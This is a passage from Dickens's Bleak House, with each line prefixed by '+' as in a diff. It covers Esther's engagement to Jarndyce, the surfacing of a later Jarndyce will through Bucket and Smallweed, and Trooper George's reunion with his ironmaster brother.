+own room--the room of last night--by himself. Then I made an excuse
+to go in with my housekeeping keys, shutting the door after me.
+
+"Well, Dame Durden?" said my guardian; the post had brought him
+several letters, and he was writing. "You want money?"
+
+"No, indeed, I have plenty in hand."
+
+"There never was such a Dame Durden," said my guardian, "for making
+money last."
+
+He had laid down his pen and leaned back in his chair looking at me.
+I have often spoken of his bright face, but I thought I had never
+seen it look so bright and good. There was a high happiness upon it
+which made me think, "He has been doing some great kindness this
+morning."
+
+"There never was," said my guardian, musing as he smiled upon me,
+"such a Dame Durden for making money last."
+
+He had never yet altered his old manner. I loved it and him so much
+that when I now went up to him and took my usual chair, which was
+always put at his side--for sometimes I read to him, and sometimes I
+talked to him, and sometimes I silently worked by him--I hardly liked
+to disturb it by laying my hand on his breast. But I found I did not
+disturb it at all.
+
+"Dear guardian," said I, "I want to speak to you. Have I been remiss
+in anything?"
+
+"Remiss in anything, my dear!"
+
+"Have I not been what I have meant to be since--I brought the answer
+to your letter, guardian?"
+
+"You have been everything I could desire, my love."
+
+"I am very glad indeed to hear that," I returned. "You know, you said
+to me, was this the mistress of Bleak House. And I said, yes."
+
+"Yes," said my guardian, nodding his head. He had put his arm about
+me as if there were something to protect me from and looked in my
+face, smiling.
+
+"Since then," said I, "we have never spoken on the subject except
+once."
+
+"And then I said Bleak House was thinning fast; and so it was, my
+dear."
+
+"And I said," I timidly reminded him, "but its mistress remained."
+
+He still held me in the same protecting manner and with the same
+bright goodness in his face.
+
+"Dear guardian," said I, "I know how you have felt all that has
+happened, and how considerate you have been. As so much time has
+passed, and as you spoke only this morning of my being so well again,
+perhaps you expect me to renew the subject. Perhaps I ought to do so.
+I will be the mistress of Bleak House when you please."
+
+"See," he returned gaily, "what a sympathy there must be between us!
+I have had nothing else, poor Rick excepted--it's a large
+exception--in my mind. When you came in, I was full of it. When shall
+we give Bleak House its mistress, little woman?"
+
+"When you please."
+
+"Next month?"
+
+"Next month, dear guardian."
+
+"The day on which I take the happiest and best step of my life--the
+day on which I shall be a man more exulting and more enviable than
+any other man in the world--the day on which I give Bleak House its
+little mistress--shall be next month then," said my guardian.
+
+I put my arms round his neck and kissed him just as I had done on the
+day when I brought my answer.
+
+A servant came to the door to announce Mr. Bucket, which was quite
+unnecessary, for Mr. Bucket was already looking in over the servant's
+shoulder. "Mr. Jarndyce and Miss Summerson," said he, rather out of
+breath, "with all apologies for intruding, WILL you allow me to order
+up a person that's on the stairs and that objects to being left there
+in case of becoming the subject of observations in his absence? Thank
+you. Be so good as chair that there member in this direction, will
+you?" said Mr. Bucket, beckoning over the banisters.
+
+This singular request produced an old man in a black skull-cap,
+unable to walk, who was carried up by a couple of bearers and
+deposited in the room near the door. Mr. Bucket immediately got rid
+of the bearers, mysteriously shut the door, and bolted it.
+
+"Now you see, Mr. Jarndyce," he then began, putting down his hat and
+opening his subject with a flourish of his well-remembered finger,
+"you know me, and Miss Summerson knows me. This gentleman likewise
+knows me, and his name is Smallweed. The discounting line is his line
+principally, and he's what you may call a dealer in bills. That's
+about what YOU are, you know, ain't you?" said Mr. Bucket, stopping a
+little to address the gentleman in question, who was exceedingly
+suspicious of him.
+
+He seemed about to dispute this designation of himself when he was
+seized with a violent fit of coughing.
+
+"Now, moral, you know!" said Mr. Bucket, improving the accident.
+"Don't you contradict when there ain't no occasion, and you won't be
+took in that way. Now, Mr. Jarndyce, I address myself to you. I've
+been negotiating with this gentleman on behalf of Sir Leicester
+Dedlock, Baronet, and one way and another I've been in and out and
+about his premises a deal. His premises are the premises formerly
+occupied by Krook, marine store dealer--a relation of this
+gentleman's that you saw in his lifetime if I don't mistake?"
+
+My guardian replied, "Yes."
+
+"Well! You are to understand," said Mr. Bucket, "that this gentleman
+he come into Krook's property, and a good deal of magpie property
+there was. Vast lots of waste-paper among the rest. Lord bless you,
+of no use to nobody!"
+
+The cunning of Mr. Bucket's eye and the masterly manner in which he
+contrived, without a look or a word against which his watchful
+auditor could protest, to let us know that he stated the case
+according to previous agreement and could say much more of Mr.
+Smallweed if he thought it advisable, deprived us of any merit in
+quite understanding him. His difficulty was increased by Mr.
+Smallweed's being deaf as well as suspicious and watching his face
+with the closest attention.
+
+"Among them odd heaps of old papers, this gentleman, when he comes
+into the property, naturally begins to rummage, don't you see?" said
+Mr. Bucket.
+
+"To which? Say that again," cried Mr. Smallweed in a shrill, sharp
+voice.
+
+"To rummage," repeated Mr. Bucket. "Being a prudent man and
+accustomed to take care of your own affairs, you begin to rummage
+among the papers as you have come into; don't you?"
+
+"Of course I do," cried Mr. Smallweed.
+
+"Of course you do," said Mr. Bucket conversationally, "and much to
+blame you would be if you didn't. And so you chance to find, you
+know," Mr. Bucket went on, stooping over him with an air of cheerful
+raillery which Mr. Smallweed by no means reciprocated, "and so you
+chance to find, you know, a paper with the signature of Jarndyce to
+it. Don't you?"
+
+Mr. Smallweed glanced with a troubled eye at us and grudgingly nodded
+assent.
+
+"And coming to look at that paper at your full leisure and
+convenience--all in good time, for you're not curious to read it, and
+why should you be?--what do you find it to be but a will, you see.
+That's the drollery of it," said Mr. Bucket with the same lively air
+of recalling a joke for the enjoyment of Mr. Smallweed, who still had
+the same crest-fallen appearance of not enjoying it at all; "what do
+you find it to be but a will?"
+
+"I don't know that it's good as a will or as anything else," snarled
+Mr. Smallweed.
+
+Mr. Bucket eyed the old man for a moment--he had slipped and shrunk
+down in his chair into a mere bundle--as if he were much disposed to
+pounce upon him; nevertheless, he continued to bend over him with the
+same agreeable air, keeping the corner of one of his eyes upon us.
+
+"Notwithstanding which," said Mr. Bucket, "you get a little doubtful
+and uncomfortable in your mind about it, having a very tender mind of
+your own."
+
+"Eh? What do you say I have got of my own?" asked Mr. Smallweed with
+his hand to his ear.
+
+"A very tender mind."
+
+"Ho! Well, go on," said Mr. Smallweed.
+
+"And as you've heard a good deal mentioned regarding a celebrated
+Chancery will case of the same name, and as you know what a card
+Krook was for buying all manner of old pieces of furniter, and books,
+and papers, and what not, and never liking to part with 'em, and
+always a-going to teach himself to read, you begin to think--and you
+never was more correct in your born days--'Ecod, if I don't look
+about me, I may get into trouble regarding this will.'"
+
+"Now, mind how you put it, Bucket," cried the old man anxiously with
+his hand at his ear. "Speak up; none of your brimstone tricks. Pick
+me up; I want to hear better. Oh, Lord, I am shaken to bits!"
+
+Mr. Bucket had certainly picked him up at a dart. However, as soon as
+he could be heard through Mr. Smallweed's coughing and his vicious
+ejaculations of "Oh, my bones! Oh, dear! I've no breath in my body!
+I'm worse than the chattering, clattering, brimstone pig at home!"
+Mr. Bucket proceeded in the same convivial manner as before.
+
+"So, as I happen to be in the habit of coming about your premises,
+you take me into your confidence, don't you?"
+
+I think it would be impossible to make an admission with more ill
+will and a worse grace than Mr. Smallweed displayed when he admitted
+this, rendering it perfectly evident that Mr. Bucket was the very
+last person he would have thought of taking into his confidence if he
+could by any possibility have kept him out of it.
+
+"And I go into the business with you--very pleasant we are over it;
+and I confirm you in your well-founded fears that you will get
+yourself into a most precious line if you don't come out with that
+there will," said Mr. Bucket emphatically; "and accordingly you
+arrange with me that it shall be delivered up to this present Mr.
+Jarndyce, on no conditions. If it should prove to be valuable, you
+trusting yourself to him for your reward; that's about where it is,
+ain't it?"
+
+"That's what was agreed," Mr. Smallweed assented with the same bad
+grace.
+
+"In consequence of which," said Mr. Bucket, dismissing his agreeable
+manner all at once and becoming strictly business-like, "you've got
+that will upon your person at the present time, and the only thing
+that remains for you to do is just to out with it!"
+
+Having given us one glance out of the watching corner of his eye, and
+having given his nose one triumphant rub with his forefinger, Mr.
+Bucket stood with his eyes fastened on his confidential friend and
+his hand stretched forth ready to take the paper and present it to my
+guardian. It was not produced without much reluctance and many
+declarations on the part of Mr. Smallweed that he was a poor
+industrious man and that he left it to Mr. Jarndyce's honour not to
+let him lose by his honesty. Little by little he very slowly took
+from a breast-pocket a stained, discoloured paper which was much
+singed upon the outside and a little burnt at the edges, as if it had
+long ago been thrown upon a fire and hastily snatched off again. Mr.
+Bucket lost no time in transferring this paper, with the dexterity of
+a conjuror, from Mr. Smallweed to Mr. Jarndyce. As he gave it to my
+guardian, he whispered behind his fingers, "Hadn't settled how to
+make their market of it. Quarrelled and hinted about it. I laid out
+twenty pound upon it. First the avaricious grandchildren split upon
+him on account of their objections to his living so unreasonably
+long, and then they split on one another. Lord! There ain't one of
+the family that wouldn't sell the other for a pound or two, except
+the old lady--and she's only out of it because she's too weak in her
+mind to drive a bargain."
+
+"Mr Bucket," said my guardian aloud, "whatever the worth of this
+paper may be to any one, my obligations are great to you; and if it
+be of any worth, I hold myself bound to see Mr. Smallweed remunerated
+accordingly."
+
+"Not according to your merits, you know," said Mr. Bucket in friendly
+explanation to Mr. Smallweed. "Don't you be afraid of that. According
+to its value."
+
+"That is what I mean," said my guardian. "You may observe, Mr.
+Bucket, that I abstain from examining this paper myself. The plain
+truth is, I have forsworn and abjured the whole business these many
+years, and my soul is sick of it. But Miss Summerson and I will
+immediately place the paper in the hands of my solicitor in the
+cause, and its existence shall be made known without delay to all
+other parties interested."
+
+"Mr. Jarndyce can't say fairer than that, you understand," observed
+Mr. Bucket to his fellow-visitor. "And it being now made clear to you
+that nobody's a-going to be wronged--which must be a great relief to
+YOUR mind--we may proceed with the ceremony of chairing you home
+again."
+
+He unbolted the door, called in the bearers, wished us good morning,
+and with a look full of meaning and a crook of his finger at parting
+went his way.
+
+We went our way too, which was to Lincoln's Inn, as quickly as
+possible. Mr. Kenge was disengaged, and we found him at his table in
+his dusty room with the inexpressive-looking books and the piles of
+papers. Chairs having been placed for us by Mr. Guppy, Mr. Kenge
+expressed the surprise and gratification he felt at the unusual sight
+of Mr. Jarndyce in his office. He turned over his double eye-glass as
+he spoke and was more Conversation Kenge than ever.
+
+"I hope," said Mr. Kenge, "that the genial influence of Miss
+Summerson," he bowed to me, "may have induced Mr. Jarndyce," he bowed
+to him, "to forego some little of his animosity towards a cause and
+towards a court which are--shall I say, which take their place in the
+stately vista of the pillars of our profession?"
+
+"I am inclined to think," returned my guardian, "that Miss Summerson
+has seen too much of the effects of the court and the cause to exert
+any influence in their favour. Nevertheless, they are a part of the
+occasion of my being here. Mr. Kenge, before I lay this paper on your
+desk and have done with it, let me tell you how it has come into my
+hands."
+
+He did so shortly and distinctly.
+
+"It could not, sir," said Mr. Kenge, "have been stated more plainly
+and to the purpose if it had been a case at law."
+
+"Did you ever know English law, or equity either, plain and to the
+purpose?" said my guardian.
+
+"Oh, fie!" said Mr. Kenge.
+
+At first he had not seemed to attach much importance to the paper,
+but when he saw it he appeared more interested, and when he had
+opened and read a little of it through his eye-glass, he became
+amazed. "Mr. Jarndyce," he said, looking off it, "you have perused
+this?"
+
+"Not I!" returned my guardian.
+
+"But, my dear sir," said Mr. Kenge, "it is a will of later date than
+any in the suit. It appears to be all in the testator's handwriting.
+It is duly executed and attested. And even if intended to be
+cancelled, as might possibly be supposed to be denoted by these marks
+of fire, it is NOT cancelled. Here it is, a perfect instrument!"
+
+"Well!" said my guardian. "What is that to me?"
+
+"Mr. Guppy!" cried Mr. Kenge, raising his voice. "I beg your pardon,
+Mr. Jarndyce."
+
+"Sir."
+
+"Mr. Vholes of Symond's Inn. My compliments. Jarndyce and Jarndyce.
+Glad to speak with him."
+
+Mr. Guppy disappeared.
+
+"You ask me what is this to you, Mr. Jarndyce. If you had perused
+this document, you would have seen that it reduces your interest
+considerably, though still leaving it a very handsome one, still
+leaving it a very handsome one," said Mr. Kenge, waving his hand
+persuasively and blandly. "You would further have seen that the
+interests of Mr. Richard Carstone and of Miss Ada Clare, now Mrs.
+Richard Carstone, are very materially advanced by it."
+
+"Kenge," said my guardian, "if all the flourishing wealth that the
+suit brought into this vile court of Chancery could fall to my two
+young cousins, I should be well contented. But do you ask ME to
+believe that any good is to come of Jarndyce and Jarndyce?"
+
+"Oh, really, Mr. Jarndyce! Prejudice, prejudice. My dear sir, this is
+a very great country, a very great country. Its system of equity is a
+very great system, a very great system. Really, really!"
+
+My guardian said no more, and Mr. Vholes arrived. He was modestly
+impressed by Mr. Kenge's professional eminence.
+
+"How do you do, Mr. Vholes? Will you be so good as to take a chair
+here by me and look over this paper?"
+
+Mr. Vholes did as he was asked and seemed to read it every word. He
+was not excited by it, but he was not excited by anything. When he
+had well examined it, he retired with Mr. Kenge into a window, and
+shading his mouth with his black glove, spoke to him at some length.
+I was not surprised to observe Mr. Kenge inclined to dispute what
+he said before he had said much, for I knew that no two people ever
+did agree about anything in Jarndyce and Jarndyce. But he seemed
+to get the better of Mr. Kenge too in a conversation that sounded
+as if it were almost composed of the words "Receiver-General,"
+"Accountant-General," "report," "estate," and "costs." When they had
+finished, they came back to Mr. Kenge's table and spoke aloud.
+
+"Well! But this is a very remarkable document, Mr. Vholes," said Mr.
+Kenge.
+
+Mr. Vholes said, "Very much so."
+
+"And a very important document, Mr. Vholes," said Mr. Kenge.
+
+Again Mr. Vholes said, "Very much so."
+
+"And as you say, Mr. Vholes, when the cause is in the paper next
+term, this document will be an unexpected and interesting feature in
+it," said Mr. Kenge, looking loftily at my guardian.
+
+Mr. Vholes was gratified, as a smaller practitioner striving to keep
+respectable, to be confirmed in any opinion of his own by such an
+authority.
+
+"And when," asked my guardian, rising after a pause, during which Mr.
+Kenge had rattled his money and Mr. Vholes had picked his pimples,
+"when is next term?"
+
+"Next term, Mr. Jarndyce, will be next month," said Mr. Kenge. "Of
+course we shall at once proceed to do what is necessary with this
+document and to collect the necessary evidence concerning it; and of
+course you will receive our usual notification of the cause being in
+the paper."
+
+"To which I shall pay, of course, my usual attention."
+
+"Still bent, my dear sir," said Mr. Kenge, showing us through the
+outer office to the door, "still bent, even with your enlarged mind,
+on echoing a popular prejudice? We are a prosperous community, Mr.
+Jarndyce, a very prosperous community. We are a great country, Mr.
+Jarndyce, we are a very great country. This is a great system, Mr.
+Jarndyce, and would you wish a great country to have a little system?
+Now, really, really!"
+
+He said this at the stair-head, gently moving his right hand as if it
+were a silver trowel with which to spread the cement of his words on
+the structure of the system and consolidate it for a thousand ages.
+
+
+
+
+CHAPTER LXIII
+
+Steel and Iron
+
+
+George's Shooting Gallery is to let, and the stock is sold off, and
+George himself is at Chesney Wold attending on Sir Leicester in his
+rides and riding very near his bridle-rein because of the uncertain
+hand with which he guides his horse. But not to-day is George so
+occupied. He is journeying to-day into the iron country farther north
+to look about him.
+
+As he comes into the iron country farther north, such fresh green
+woods as those of Chesney Wold are left behind; and coal pits and
+ashes, high chimneys and red bricks, blighted verdure, scorching
+fires, and a heavy never-lightening cloud of smoke become the
+features of the scenery. Among such objects rides the trooper,
+looking about him and always looking for something he has come to
+find.
+
+At last, on the black canal bridge of a busy town, with a clang of
+iron in it, and more fires and more smoke than he has seen yet, the
+trooper, swart with the dust of the coal roads, checks his horse and
+asks a workman does he know the name of Rouncewell thereabouts.
+
+"Why, master," quoth the workman, "do I know my own name?"
+
+"'Tis so well known here, is it, comrade?" asks the trooper.
+
+"Rouncewell's? Ah! You're right."
+
+"And where might it be now?" asks the trooper with a glance before
+him.
+
+"The bank, the factory, or the house?" the workman wants to know.
+
+"Hum! Rouncewell's is so great apparently," mutters the trooper,
+stroking his chin, "that I have as good as half a mind to go back
+again. Why, I don't know which I want. Should I find Mr. Rouncewell
+at the factory, do you think?"
+
+"Tain't easy to say where you'd find him--at this time of the day you
+might find either him or his son there, if he's in town; but his
+contracts take him away."
+
+And which is the factory? Why, he sees those chimneys--the tallest
+ones! Yes, he sees THEM. Well! Let him keep his eye on those
+chimneys, going on as straight as ever he can, and presently he'll
+see 'em down a turning on the left, shut in by a great brick wall
+which forms one side of the street. That's Rouncewell's.
+
+The trooper thanks his informant and rides slowly on, looking about
+him. He does not turn back, but puts up his horse (and is much
+disposed to groom him too) at a public-house where some of
+Rouncewell's hands are dining, as the ostler tells him. Some of
+Rouncewell's hands have just knocked off for dinner-time and seem to
+be invading the whole town. They are very sinewy and strong, are
+Rouncewell's hands--a little sooty too.
+
+He comes to a gateway in the brick wall, looks in, and sees a great
+perplexity of iron lying about in every stage and in a vast variety
+of shapes--in bars, in wedges, in sheets; in tanks, in boilers, in
+axles, in wheels, in cogs, in cranks, in rails; twisted and wrenched
+into eccentric and perverse forms as separate parts of machinery;
+mountains of it broken up, and rusty in its age; distant furnaces of
+it glowing and bubbling in its youth; bright fireworks of it
+showering about under the blows of the steam-hammer; red-hot iron,
+white-hot iron, cold-black iron; an iron taste, an iron smell, and a
+Babel of iron sounds.
+
+"This is a place to make a man's head ache too!" says the trooper,
+looking about him for a counting-house. "Who comes here? This is very
+like me before I was set up. This ought to be my nephew, if
+likenesses run in families. Your servant, sir."
+
+"Yours, sir. Are you looking for any one?"
+
+"Excuse me. Young Mr. Rouncewell, I believe?"
+
+"Yes."
+
+"I was looking for your father, sir. I wish to have a word with him."
+
+The young man, telling him he is fortunate in his choice of a time,
+for his father is there, leads the way to the office where he is to
+be found. "Very like me before I was set up--devilish like me!"
+thinks the trooper as he follows. They come to a building in the yard
+with an office on an upper floor. At sight of the gentleman in the
+office, Mr. George turns very red.
+
+"What name shall I say to my father?" asks the young man.
+
+George, full of the idea of iron, in desperation answers "Steel," and
+is so presented. He is left alone with the gentleman in the office,
+who sits at a table with account-books before him and some sheets of
+paper blotted with hosts of figures and drawings of cunning shapes.
+It is a bare office, with bare windows, looking on the iron view
+below. Tumbled together on the table are some pieces of iron,
+purposely broken to be tested at various periods of their service, in
+various capacities. There is iron-dust on everything; and the smoke
+is seen through the windows rolling heavily out of the tall chimneys
+to mingle with the smoke from a vaporous Babylon of other chimneys.
+
+"I am at your service, Mr. Steel," says the gentleman when his
+visitor has taken a rusty chair.
+
+"Well, Mr. Rouncewell," George replies, leaning forward with his left
+arm on his knee and his hat in his hand, and very chary of meeting
+his brother's eye, "I am not without my expectations that in the
+present visit I may prove to be more free than welcome. I have served
+as a dragoon in my day, and a comrade of mine that I was once rather
+partial to was, if I don't deceive myself, a brother of yours. I
+believe you had a brother who gave his family some trouble, and ran
+away, and never did any good but in keeping away?"
+
+"Are you quite sure," returns the ironmaster in an altered voice,
+"that your name is Steel?"
+
+The trooper falters and looks at him. His brother starts up, calls
+him by his name, and grasps him by both hands.
+
+"You are too quick for me!" cries the trooper with the tears
+springing out of his eyes. "How do you do, my dear old fellow? I
+never could have thought you would have been half so glad to see me
+as all this. How do you do, my dear old fellow, how do you do!"
+
+They shake hands and embrace each other over and over again, the
+trooper still coupling his "How do you do, my dear old fellow!" with
+his protestation that he never thought his brother would have been
+half so glad to see him as all this!
+
+"So far from it," he declares at the end of a full account of what
+has preceded his arrival there, "I had very little idea of making
+myself known. I thought if you took by any means forgivingly to my
+name I might gradually get myself up to the point of writing a
+letter. But I should not have been surprised, brother, if you had
+considered it anything but welcome news to hear of me."
+
+"We will show you at home what kind of news we think it, George,"
+returns his brother. "This is a great day at home, and you could not
+have arrived, you bronzed old soldier, on a better. I make an
+agreement with my son Watt to-day that on this day twelvemonth he
+shall marry as pretty and as good a girl as you have seen in all your
+travels. She goes to Germany to-morrow with one of your nieces for a
+little polishing up in her education. We make a feast of the event,
+and you will be made the hero of it."
+
+Mr. George is so entirely overcome at first by this prospect that he
+resists the proposed honour with great earnestness. Being overborne,
+however, by his brother and his nephew--concerning whom he renews his
+protestations that he never could have thought they would have been
+half so glad to see him--he is taken home to an elegant house in all
+the arrangements of which there is to be observed a pleasant mixture
+of the originally simple habits of the father and mother with such as
+are suited to their altered station and the higher fortunes of their
+children. Here Mr. George is much dismayed by the graces and
+accomplishments of his nieces that are and by the beauty of Rosa, his
+niece that is to be, and by the affectionate salutations of these
+young ladies, which he receives in a sort of dream. He is sorely
+taken aback, too, by the dutiful behaviour of his nephew and has a
+woeful consciousness upon him of being a scapegrace. However, there
+is great rejoicing and a very hearty company and infinite enjoyment,
+and Mr. George comes bluff and martial through it all, and his pledge
+to be present at the marriage and give away the bride is received
+with universal favour. A whirling head has Mr. George that night when
+he lies down in the state-bed of his brother's house to think of all
+these things and to see the images of his nieces (awful all the
+evening in their floating muslins) waltzing, after the German manner,
+over his counterpane.
+
+The brothers are closeted next morning in the ironmaster's room,
+where the elder is proceeding, in his clear sensible way, to show how
+he thinks he may best dispose of George in his business, when George
+squeezes his hand and stops him.
+
+"Brother, I thank you a million times for your more than brotherly
+welcome, and a million times more to that for your more than
+brotherly intentions. But my plans are made. Before I say a word as
+to them, I wish to consult you upon one family point. How," says the
+trooper, folding his arms and looking with indomitable firmness at
+his brother, "how is my mother to be got to scratch me?"
+
+"I am not sure that I understand you, George," replies the
+ironmaster.
+
+"I say, brother, how is my mother to be got to scratch me? She must
+be got to do it somehow."
+
+"Scratch you out of her will, I think you mean?"
+
+"Of course I do. In short," says the trooper, folding his arms more
+resolutely yet, "I mean--TO--scratch me!"
+
+"My dear George," returns his brother, "is it so indispensable that
+you should undergo that process?"
+
+"Quite! Absolutely! I couldn't be guilty of the meanness of coming
+back without it. I should never be safe not to be off again. I have
+not sneaked home to rob your children, if not yourself, brother, of
+your rights. I, who forfeited mine long ago! If I am to remain and
+hold up my head, I must be scratched. Come. You are a man of
+celebrated penetration and intelligence, and you can tell me how it's
+to be brought about."
+
+"I can tell you, George," replies the ironmaster deliberately, "how
+it is not to be brought about, which I hope may answer the purpose as
+well. Look at our mother, think of her, recall her emotion when she
+recovered you. Do you believe there is a consideration in the world
+that would induce her to take such a step against her favourite son?
+Do you believe there is any chance of her consent, to balance against
+the outrage it would be to her (loving dear old lady!) to propose it?
+If you do, you are wrong. No, George! You must make up your mind to
+remain UNscratched, I think." There is an amused smile on the
+ironmaster's face as he watches his brother, who is pondering, deeply
+disappointed. "I think you may manage almost as well as if the thing
+were done, though."
+
+"How, brother?"
+
+"Being bent upon it, you can dispose by will of anything you have the
+misfortune to inherit in any way you like, you know."
+
+"That's true!" says the trooper, pondering again. Then he wistfully
+asks, with his hand on his brother's, "Would you mind mentioning
+that, brother, to your wife and family?"
+
+"Not at all."
+
+"Thank you. You wouldn't object to say, perhaps, that although an
+undoubted vagabond, I am a vagabond of the harum-scarum order, and
+not of the mean sort?"
+
+The ironmaster, repressing his amused smile, assents.
+
+"Thank you. Thank you. It's a weight off my mind," says the trooper
+with a heave of his chest as he unfolds his arms and puts a hand on
+each leg, "though I had set my heart on being scratched, too!"
+
+The brothers are very like each other, sitting face to face; but a
+certain massive simplicity and absence of usage in the ways of the
+world is all on the trooper's side.
+
+"Well," he proceeds, throwing off his disappointment, "next and last,
+those plans of mine. You have been so brotherly as to propose to me
+to fall in here and take my place among the products of your
+perseverance and sense. I thank you heartily. It's more than
+brotherly, as I said before, and I thank you heartily for it,"
+shaking him a long time by the hand. "But the truth is, brother, I am
+a--I am a kind of a weed, and it's too late to plant me in a regular
+garden."
+
+"My dear George," returns the elder, concentrating his strong steady
+brow upon him and smiling confidently, "leave that to me, and let me
+try."
+
+George shakes his head. "You could do it, I have not a doubt, if
+anybody could; but it's not to be done. Not to be done, sir! Whereas
+it so falls out, on the other hand, that I am able to be of some
+trifle of use to Sir Leicester Dedlock since his illness--brought on
+by family sorrows--and that he would rather have that help from our
+mother's son than from anybody else."
+
+"Well, my dear George," returns the other with a very slight shade
+upon his open face, "if you prefer to serve in Sir Leicester
+Dedlock's household brigade--"
+
+"There it is, brother," cries the trooper, checking him, with his
+hand upon his knee again; "there it is! You don't take kindly to that
+idea; I don't mind it. You are not used to being officered; I am.
+Everything about you is in perfect order and discipline; everything
+about me requires to be kept so. We are not accustomed to carry
+things with the same hand or to look at 'em from the same point. I
+don't say much about my garrison manners because I found myself
+pretty well at my ease last night, and they wouldn't be noticed here,
+I dare say, once and away. But I shall get on best at Chesney Wold,
+where there's more room for a weed than there is here; and the dear
+old lady will be made happy besides. Therefore I accept of Sir
+Leicester Dedlock's proposals. When I come over next year to give
+away the bride, or whenever I come, I shall have the sense to keep
+the household brigade in ambuscade and not to manoeuvre it on your
+ground. I thank you heartily again and am proud to think of the
+Rouncewells as they'll be founded by you."
+
+"You know yourself, George," says the elder brother, returning the
+grip of his hand, "and perhaps you know me better than I know myself.
+Take your way. So that we don't quite lose one another again, take
+your way."
+
+"No fear of that!" returns the trooper. "Now, before I turn my
+horse's head homewards, brother, I will ask you--if you'll be so
+good--to look over a letter for me. I brought it with me to send from
+these parts, as Chesney Wold might be a painful name just now to the
+person it's written to. I am not much accustomed to correspondence
+myself, and I am particular respecting this present letter because I
+want it to be both straightforward and delicate."
+
+Herewith he hands a letter, closely written in somewhat pale ink but
+in a neat round hand, to the ironmaster, who reads as follows:
+
+
+   Miss Esther Summerson,
+
+   A communication having been made to me by Inspector Bucket
+   of a letter to myself being found among the papers of a
+   certain person, I take the liberty to make known to you
+   that it was but a few lines of instruction from abroad,
+   when, where, and how to deliver an enclosed letter to a
+   young and beautiful lady, then unmarried, in England. I
+   duly observed the same.
+
+   I further take the liberty to make known to you that it
+   was got from me as a proof of handwriting only and that
+   otherwise I would not have given it up, as appearing to
+   be the most harmless in my possession, without being
+   previously shot through the heart.
+
+   I further take the liberty to mention that if I could have
+   supposed a certain unfortunate gentleman to have been in
+   existence, I never could and never would have rested until
+   I had discovered his retreat and shared my last farthing
+   with him, as my duty and my inclination would have equally
+   been. But he was (officially) reported drowned, and
+   assuredly went over the side of a transport-ship at night
+   in an Irish harbour within a few hours of her arrival from
+   the West Indies, as I have myself heard both from officers
+   and men on board, and know to have been (officially)
+   confirmed.
+
+   I further take the liberty to state that in my humble
+   quality as one of the rank and file, I am, and shall ever
+   continue to be, your thoroughly devoted and admiring
+   servant and that I esteem the qualities you possess above
+   all others far beyond the limits of the present dispatch.
+
+   I have the honour to be,
+
+   GEORGE
+
+
+"A little formal," observes the elder brother, refolding it with a
+puzzled face.
+
+"But nothing that might not be sent to a pattern young lady?" asks
+the younger.
+
+"Nothing at all."
+
+Therefore it is sealed and deposited for posting among the iron
+correspondence of the day. This done, Mr. George takes a hearty
+farewell of the family party and prepares to saddle and mount. His
+brother, however, unwilling to part with him so soon, proposes to
+ride with him in a light open carriage to the place where he will
+bait for the night, and there remain with him until morning, a
+servant riding for so much of the journey on the thoroughbred old
+grey from Chesney Wold. The offer, being gladly accepted, is followed
+by a pleasant ride, a pleasant dinner, and a pleasant breakfast, all
+in brotherly communion. Then they once more shake hands long and
+heartily and part, the ironmaster turning his face to the smoke and
+fires, and the trooper to the green country. Early in the afternoon
+the subdued sound of his heavy military trot is heard on the turf in
+the avenue as he rides on with imaginary clank and jingle of
+accoutrements under the old elm-trees.
+
+
+
+
+CHAPTER LXIV
+
+Esther's Narrative
+
+
+Soon after I had that conversation with my guardian, he put a sealed
+paper in my hand one morning and said, "This is for next month, my
+dear." I found in it two hundred pounds.
+
+I now began very quietly to make such preparations as I thought were
+necessary. Regulating my purchases by my guardian's taste, which I
+knew very well of course, I arranged my wardrobe to please him and
+hoped I should be highly successful. I did it all so quietly because
+I was not quite free from my old apprehension that Ada would be
+rather sorry and because my guardian was so quiet himself. I had no
+doubt that under all the circumstances we should be married in the
+most private and simple manner. Perhaps I should only have to say to
+Ada, "Would you like to come and see me married to-morrow, my pet?"
+Perhaps our wedding might even be as unpretending as her own, and I
+might not find it necessary to say anything about it until it was
+over. I thought that if I were to choose, I would like this best.
+
+The only exception I made was Mrs. Woodcourt. I told her that I was
+going to be married to my guardian and that we had been engaged some
+time. She highly approved. She could never do enough for me and was
+remarkably softened now in comparison with what she had been when we
+first knew her. There was no trouble she would not have taken to have
+been of use to me, but I need hardly say that I only allowed her to
+take as little as gratified her kindness without tasking it.
+
+Of course this was not a time to neglect my guardian, and of course
+it was not a time for neglecting my darling. So I had plenty of
+occupation, which I was glad of; and as to Charley, she was
+absolutely not to be seen for needlework. To surround herself with
+great heaps of it--baskets full and tables full--and do a little, and
+spend a great deal of time in staring with her round eyes at what
+there was to do, and persuade herself that she was going to do it,
+were Charley's great dignities and delights.
+
+Meanwhile, I must say, I could not agree with my guardian on the
+subject of the will, and I had some sanguine hopes of Jarndyce and
+Jarndyce. Which of us was right will soon appear, but I certainly did
+encourage expectations. In Richard, the discovery gave occasion for a
+burst of business and agitation that buoyed him up for a little time,
+but he had lost the elasticity even of hope now and seemed to me to
+retain only its feverish anxieties. From something my guardian said
+one day when we were talking about this, I understood that my
+marriage would not take place until after the term-time we had been
+told to look forward to; and I thought the more, for that, how
+rejoiced I should be if I could be married when Richard and Ada were
+a little more prosperous.
+
+The term was very near indeed when my guardian was called out of town
+and went down into Yorkshire on Mr. Woodcourt's business. He had told
+me beforehand that his presence there would be necessary. I had just
+come in one night from my dear girl's and was sitting in the midst of
+all my new clothes, looking at them all around me and thinking, when
+a letter from my guardian was brought to me. It asked me to join him
+in the country and mentioned by what stage-coach my place was taken
+and at what time in the morning I should have to leave town. It added
+in a postscript that I would not be many hours from Ada.
+
+I expected few things less than a journey at that time, but I was
+ready for it in half an hour and set off as appointed early next
+morning. I travelled all day, wondering all day what I could be
+wanted for at such a distance; now I thought it might be for this
+purpose, and now I thought it might be for that purpose, but I was
+never, never, never near the truth.
+
+It was night when I came to my journey's end and found my guardian
+waiting for me. This was a great relief, for towards evening I had
+begun to fear (the more so as his letter was a very short one) that
+he might be ill. However, there he was, as well as it was possible to
+be; and when I saw his genial face again at its brightest and best, I
+said to myself, he has been doing some other great kindness. Not that
+it required much penetration to say that, because I knew that his
+being there at all was an act of kindness.
+
+Supper was ready at the hotel, and when we were alone at table he
+said, "Full of curiosity, no doubt, little woman, to know why I have
+brought you here?"
+
+"Well, guardian," said I, "without thinking myself a Fatima or you a
+Blue Beard, I am a little curious about it."
+
+"Then to ensure your night's rest, my love," he returned gaily, "I
+won't wait until to-morrow to tell you. I have very much wished to
+express to Woodcourt, somehow, my sense of his humanity to poor
+unfortunate Jo, his inestimable services to my young cousins, and his
